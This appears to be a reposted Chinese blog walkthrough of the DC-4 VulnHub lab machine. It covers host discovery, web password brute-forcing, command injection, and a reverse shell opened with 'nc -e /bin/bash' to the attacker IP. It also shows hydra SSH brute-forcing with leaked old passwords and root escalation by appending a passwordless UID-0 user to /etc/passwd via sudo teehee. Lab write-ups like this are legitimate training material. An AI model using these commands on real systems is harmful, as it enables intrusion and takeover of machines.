【DC渗透系列DC-4】

这篇具有很好参考价值的文章主要介绍了【DC渗透系列DC-4】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

主机发现

arp-scan -l
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:6b:ed:27, IPv4: 192.168.100.251
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1   00:50:56:c0:00:08       VMware, Inc.
192.168.100.2   00:50:56:fc:f2:a6       VMware, Inc.
192.168.100.24  00:0c:29:36:b4:4e       VMware, Inc.
192.168.100.254 00:50:56:fe:f1:0e       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.964 seconds (130.35 hosts/sec). 4 responded

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -n 192.168.100.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 21:13 EST
Nmap scan report for 192.168.100.24
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-title: System Tools
|_http-server-header: nginx/1.15.10
MAC Address: 00:0C:29:36:B4:4E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms 192.168.100.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds

浏览器访问

【DC渗透系列DC-4】

探测站点

【DC渗透系列DC-4】

┌──(root㉿kali)-[~]
└─# whatweb -v 192.168.100.24
WhatWeb report for http://192.168.100.24
Status    : 200 OK
Title     : System Tools
IP        : 192.168.100.24
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[nginx/1.15.10], nginx[1.15.10], PasswordField[password]

Detected Plugins:
[ HTML5 ]
        HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        String       : nginx/1.15.10 (from server string)

[ PasswordField ]
        find password fields 

        String       : password (from field name)

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance 
        HTTP server and reverse proxy, as well as an IMAP/POP3 
        proxy server. 

        Version      : 1.15.10
        Website     : http://nginx.net/

HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.15.10
        Date: Sun, 04 Feb 2024 02:17:35 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close

目录探测

敏感目录探测

┌──(root㉿kali)-[~]
└─# nikto -h 192.168.100.24                                                                             
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.100.24
+ Target Hostname:    192.168.100.24
+ Target Port:        80
+ Start Time:         2024-02-03 21:23:47 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-02-03 21:24:04 (GMT-5) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(root㉿kali)-[~]
└─# dirsearch -u 192.168.100.24                                                                         

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/_192.168.100.24/_24-02-03_21-24-11.txt

Target: http://192.168.100.24/

[21:24:11] Starting: 
[21:24:23] 302 -  704B  - /command.php  ->  index.php                       
[21:24:24] 301 -  170B  - /css  ->  http://192.168.100.24/css/              
[21:24:29] 403 -  556B  - /images/                                          
[21:24:29] 301 -  170B  - /images  ->  http://192.168.100.24/images/
[21:24:29] 403 -   15B  - /index.pHp                                        
[21:24:31] 302 -  206B  - /login.php  ->  index.php                         
[21:24:31] 302 -  163B  - /logout.php  ->  index.php                        
                                                                             
Task Completed     

一开始想到sql注入但是没有找到注入点

爆破

抓包后送到intruder进行爆破用户admin得到密码happy
【DC渗透系列DC-4】

拿到密码登录

【DC渗透系列DC-4】
点击commad后发现可能存在任意命令执行漏洞

【DC渗透系列DC-4】
抓个包,发现ls -l命令是radio参数后的值
【DC渗透系列DC-4】
改成pwd后放包试试
存在漏洞,有远程代码执行漏洞 可以利用此漏洞进行反弹shell
【DC渗透系列DC-4】

开起监听

nc -lvvp 8888

弹shell

nc+-e+/bin/bash+192.168.100.251+8888
nc -e /bin/bash 192.168.100.251 8888
# kali IP

【DC渗透系列DC-4】

开启交互界面

python -c 'import pty;pty.spawn("/bin/sh")'

【DC渗透系列DC-4】
在home里发现三个人物
【DC渗透系列DC-4】
只有cd到jim里有内容
【DC渗透系列DC-4】
backups里面有老密码,mbox不够权限

$ ls
ls
backups  mbox  test.sh
$ cd backups
cd backups
$ ls
ls
old-passwords.bak
$ cd ..
cd ..
$ cd mbox
cd mbox
/bin/sh: 53: cd: can't cd to mbox

把里面的密码取出来存着先 命名为jim.txt
【DC渗透系列DC-4】

可以开始爆破了捏

直接使用jim参数用-l!

hydra -l jim -P jim.txt 192.168.100.24 ssh

【DC渗透系列DC-4】

使用jim登录

【DC渗透系列DC-4】
查看mbox

jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

是一封邮件
看看jim有没有root权限

jim@dc-4:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jim: 
Sorry, user jim may not run sudo on dc-4.

很遗憾,没有
linux的邮件目录是/var/spool/mail
看到刚才那封邮件那就查看一下是否存在该目录
发现charls密码^xHhA&hvim0y
【DC渗透系列DC-4】
转换用户,发现一个teehee用户可以使用root无密码权限
【DC渗透系列DC-4】
我们可以使用keehee添加root权限用户

echo "yiyi::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  

teehee可以通过修改该文件达到添加用户的效果,文件格式为

注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解析程序 

口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限

su yiyi
whoami

【DC渗透系列DC-4】
进入root目录获取flag
【DC渗透系列DC-4】文章来源地址https://www.toymoban.com/news/detail-825395.html

到了这里,关于【DC渗透系列DC-4】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DC-1靶机渗透(教程以及思路)

    一:信息搜集 首先第一步就是使用fping来查看靶机的ip 使用命令fping -aqg ip 使用nmap -sS -p-进行扫描 发现开启了4个端口,分别是22,80,111,45186 再使用nmap的-sV扫描详细信息进行扫描,查看版本号判断是否存在漏洞 二:思路 一般来说这样的端口,我会先从80端口开始,看是否存

    2023年04月08日
    浏览(28)
  • DC-1靶机渗透测试详细教程

    DC-1下载:https://download.vulnhub.com/dc/DC-1.zip 攻击者kali   IP:192.168.1.9 受害者DC-1   IP:192.168.1.8 将DC-1靶机调成和kali同为桥接模式,因为DC-1的账号和密码还不知道,所以不能查看DC-1的IP地址,那么我们将通过kali来扫描到DC-1的IP地址。 1 使用命令 arp-scan -l 列出当前局域网的所有设备

    2024年02月08日
    浏览(24)
  • Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。 靶机DC9 还是老样子只有拿到root权限才可以发现

    2024年02月09日
    浏览(33)
  • vulnhub DC:3.2渗透笔记

    kali ip :192.168.20.130 靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/ 信息收集 扫描靶机ip以及开放端口 开放了80端口访问一下 意思就是需要root权限了 查看Wapplayzer信息如下 使用的Joomla的CMS,使用joomscan(Joomla漏洞扫描器)扫描器扫描 后台登录界面已发现 漏洞攻击 使用searchsploit搜索

    2023年04月24日
    浏览(28)
  • DC-6靶机测试渗透详细教程

    1、首先扫描我们要渗透机器的IP 2、 接着我们扫描IP的端口和操作系统  我们扫到目标机的80端口开启了,我们进行查看目标机的80端口。(我做过实验,所以不可以直接访问)因此我们需要进行给靶机的IP和域名进行绑定,然后再进行访问      发现没有任何注入点 3、接着我

    2024年02月17日
    浏览(27)
  • 16.2 ARP 主机探测技术

    ARP (Address Resolution Protocol,地址解析协议),是一种用于将 IP 地址转换为物理地址( MAC地址 )的协议。它在 TCP/IP 协议栈中处于链路层,为了在局域网中能够正确传输数据包而设计,由协议数据单元和对应的操作命令组成。 ARP 既可以由操作系统处理,也可以由网卡处理。

    2024年02月08日
    浏览(30)
  • ARP渗透与攻防(二)之断网攻击

    系列文章 ARP渗透与攻防(一)之ARP原理 kali 作为ARP攻击机,IP地址:192.168.110.26 MAC地址:00:0c:29:fc:66:46 win10 作为被攻击方,IP地址:192.168.110.12 MAC地址:1c:69:7a:a4:cf:92 网关(路由器),IP地址:192.168.110.1 MAC地址:e4:3a:6e:35:98:00 需要注意的时,两台主机需要在同一个局域网,并且

    2024年02月04日
    浏览(30)
  • ARP渗透与攻防(七)之Ettercap Dns劫持

    系列文章 ARP渗透与攻防(一)之ARP原理 ARP渗透与攻防(二)之断网攻击 ARP渗透与攻防(三)之流量分析 ARP渗透与攻防(四)之WireShark截获用户数据 ARP渗透与攻防(五)之Ettercap劫持用户流量 ARP渗透与攻防(六)之限制网速攻击 1.概念 DNS是Domain Name System的缩写, 我们称之域名系统。首先它是

    2024年02月05日
    浏览(59)
  • ARP渗透与攻防(五)之Ettercap劫持用户流量

    系列文章 ARP渗透与攻防(一)之ARP原理 ARP渗透与攻防(二)之断网攻击 ARP渗透与攻防(三)之流量分析 ARP渗透与攻防(四)之WireShark截获用户数据 项目官网:http://ettercap.github.io/ettercap/index.html EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于Etter

    2024年02月02日
    浏览(28)
  • 渗透测试-子域名发现

    提示:提示:注意:网络安全环境需要大家共同维护,请大家共同遵守网络安全规章制度,仅供大家参考,造成的法律后果,不由本人承担 子域名就是父域名的下一级,例如“hello.xxx.com\\\" 和 ”world.xxx.com“ 这两个域名是”xxx.com\\\"的子域名 像“www.xxx.com\\\"这样的域名一般都是企业

    2024年02月12日
    浏览(20)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包